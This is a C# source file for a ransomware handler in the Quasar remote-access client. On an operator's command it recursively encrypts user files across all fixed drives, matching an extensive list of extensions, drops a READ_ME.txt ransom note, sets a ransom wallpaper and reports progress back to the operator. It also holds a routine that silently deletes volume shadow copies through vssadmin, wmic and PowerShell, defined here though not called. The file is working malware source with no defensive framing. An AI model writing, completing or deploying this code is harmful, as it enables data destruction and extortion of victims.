using Quasar.Client.Ransomware;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class RansomwareHandler : IMessageProcessor
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni);

        private const uint SPI_SETDESKWALLPAPER = 0x0014;
        private const uint SPIF_UPDATEINIFILE = 0x01;
        private const uint SPIF_SENDCHANGE = 0x02;

        // Target extensions for encryption
        private static readonly string[] TargetExtensions = new[]
        {
            // Documents
            ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp",
            ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf",
            ".yaml", ".yml", ".toml", ".md", ".markdown",
            // Images
            ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico",
            ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps",
            ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm",
            // Videos
            ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg",
            ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx",
            // Audio
            ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus",
            ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka",
            // Archives
            ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg",
            ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa",
            // Databases
            ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db",
            ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb",
            // Code & Development
            ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs",
            ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp",
            ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp",
            ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj",
            ".vcxproj", ".xcodeproj", ".pbxproj",
            // 3D & CAD
            ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf",
            ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc",
            // Email & Communication
            ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics",
            // Office & Productivity
            ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps",
            // Backup & Virtual
            ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf",
            // Certificates & Keys
            ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg",
            ".asc", ".sig", ".pgp", ".kdb", ".kdbx",
            // Financial & Business
            ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif",
            // Game Files
            ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa",
            ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc",
            // Fonts
            ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt",
            // eBooks
            ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc",
            // Other Important
            ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env"
        };

        public bool CanExecute(IMessage message) => message is DoRansomware;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoRansomware ransomware:
                    Execute(sender, ransomware);
                    break;
            }
        }

        private void Execute(ISender sender, DoRansomware ransomware)
        {
            new Thread(() =>
            {
                try
                {
                    if (ransomware.Action == "ENCRYPT")
                    {
                        PerformEncryption(sender, ransomware);
                    }
                    else if (ransomware.Action == "DECRYPT")
                    {
                        PerformDecryption(sender, ransomware);
                    }
                }
                catch (Exception ex)
                {
                    sender.Send(new RansomwareResponse
                    {
                        Status = "ERROR",
                        Message = ex.Message,
                        IsComplete = true
                    });
                }
            }).Start();
        }

        private void WipeVolumeShadowCopies(ISender sender)
        {
            try
            {
                sender.Send(new RansomwareResponse
                {
                    Status = "PROGRESS",
                    Message = "Deleting volume shadow copies...",
                    IsComplete = false
                });

                // Method 1: vssadmin delete shadows /all /quiet
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = "vssadmin.exe",
                        Arguments = "delete shadows /all /quiet",
                        CreateNoWindow = true,
                        UseShellExecute = false,
                        WindowStyle = ProcessWindowStyle.Hidden
                    };
                    Process.Start(psi)?.WaitForExit(10000);
                }
                catch { }

                // Method 2: wmic shadowcopy delete
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = "wmic.exe",
                        Arguments = "shadowcopy delete",
                        CreateNoWindow = true,
                        UseShellExecute = false,
                        WindowStyle = ProcessWindowStyle.Hidden
                    };
                    Process.Start(psi)?.WaitForExit(10000);
                }
                catch { }

                // Method 3: PowerShell
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = "powershell.exe",
                        Arguments = "-Command \"Get-WmiObject Win32_ShadowCopy | ForEach-Object {$_.Delete()}\"",
                        CreateNoWindow = true,
                        UseShellExecute = false,
                        WindowStyle = ProcessWindowStyle.Hidden
                    };
                    Process.Start(psi)?.WaitForExit(15000);
                }
                catch { }

                sender.Send(new RansomwareResponse
                {
                    Status = "PROGRESS",
                    Message = "Volume shadow copies deleted.",
                    IsComplete = false
                });
            }
            catch (Exception ex)
            {
                sender.Send(new RansomwareResponse
                {
                    Status = "PROGRESS",
                    Message = $"Failed to delete volume shadow copies: {ex.Message}",
                    IsComplete = false
                });
            }
        }

        private void PerformEncryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting encryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();
            
            foreach (DriveInfo drive in drives)
            {
                try
                {
                    // Only target fixed drives (not CD-ROM, network, etc.)
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    // Skip if it's the system drive root (to avoid Windows folder)
                    string drivePath = drive.RootDirectory.FullName;
                    
                    // Scan the entire drive but exclude Windows system folders
                    filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed);
                }
                catch { }
            }

            // Drop ransom note
            if (!string.IsNullOrEmpty(ransomware.RansomNote))
            {
                try
                {
                    string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                    File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote);
                }
                catch { }
            }

            // Change wallpaper
            if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText))
            {
                try
                {
                    ChangeWallpaper(ransomware.WallpaperText);
                }
                catch { }
            }

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = $"Encryption completed. {filesProcessed} files encrypted.",
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount)
        {
            int filesProcessed = 0;

            try
            {
                string lowerDir = directory.ToLower();

                // Only skip Windows system folder itself, not Program Files or ProgramData
                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return 0;
                }

                // Get files in current directory
                var files = Directory.GetFiles(directory)
                    .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower()))
                    .ToList();

                foreach (var file in files)
                {
                    try
                    {
                        // Encrypt the file
                        FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        filesProcessed++;

                        // Send progress update every 50 files
                        if (filesProcessed % 50 == 0)
                        {
                            sender.Send(new RansomwareResponse
                            {
                                Status = "PROGRESS",
                                Message = $"Encrypting... {currentCount + filesProcessed} files processed",
                                FilesProcessed = currentCount + filesProcessed,
                                IsComplete = false
                            });
                        }
                    }
                    catch { }
                }

                // Recursively process subdirectories
                foreach (var subDir in Directory.GetDirectories(directory))
                {
                    filesProcessed += EncryptDirectory(sender, subDir, ransomware, currentCount + filesProcessed);
                }
            }
            catch { }

            return filesProcessed;
        }

        private void PerformDecryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting decryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();
            
            foreach (DriveInfo drive in drives)
            {
                try
                {
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    string drivePath = drive.RootDirectory.FullName;
                    filesProcessed += DecryptDirectory(sender, drivePath, ransomware, filesProcessed);
                }
                catch { }
            }

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = $"Decryption completed. {filesProcessed} files decrypted.",
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private int DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount)
        {
            int filesProcessed = 0;

            try
            {
                string lowerDir = directory.ToLower();

                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return 0;
                }

                // Get encrypted files
                var files = Directory.GetFiles(directory)
                    .Where(f => f.EndsWith(ransomware.FileExtension, StringComparison.OrdinalIgnoreCase))
                    .ToList();

                foreach (var file in files)
                {
                    try
                    {
                        // Decrypt the file
                        bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        if (success)
                        {
                            filesProcessed++;

                            // Send progress update every 50 files
                            if (filesProcessed % 50 == 0)
                            {
                                sender.Send(new RansomwareResponse
                                {
                                    Status = "PROGRESS",
                                    Message = $"Decrypting... {currentCount + filesProcessed} files processed",
                                    FilesProcessed = currentCount + filesProcessed,
                                    IsComplete = false
                                });
                            }
                        }
                    }
                    catch { }
                }

                // Recursively process subdirectories
                foreach (var subDir in Directory.GetDirectories(directory))
                {
                    filesProcessed += DecryptDirectory(sender, subDir, ransomware, currentCount + filesProcessed);
                }
            }
            catch { }

            return filesProcessed;
        }

        private void ChangeWallpaper(string text)
        {
            try
            {
                string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
                
                // Create a simple bitmap with text
                using (var bmp = new System.Drawing.Bitmap(1920, 1080))
                using (var g = System.Drawing.Graphics.FromImage(bmp))
                {
                    g.Clear(System.Drawing.Color.Black);
                    using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold))
                    using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red))
                    {
                        var format = new System.Drawing.StringFormat
                        {
                            Alignment = System.Drawing.StringAlignment.Center,
                            LineAlignment = System.Drawing.StringAlignment.Center
                        };
                        g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), format);
                    }
                    bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp);
                }

                SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
            }
            catch { }
        }
    }
}
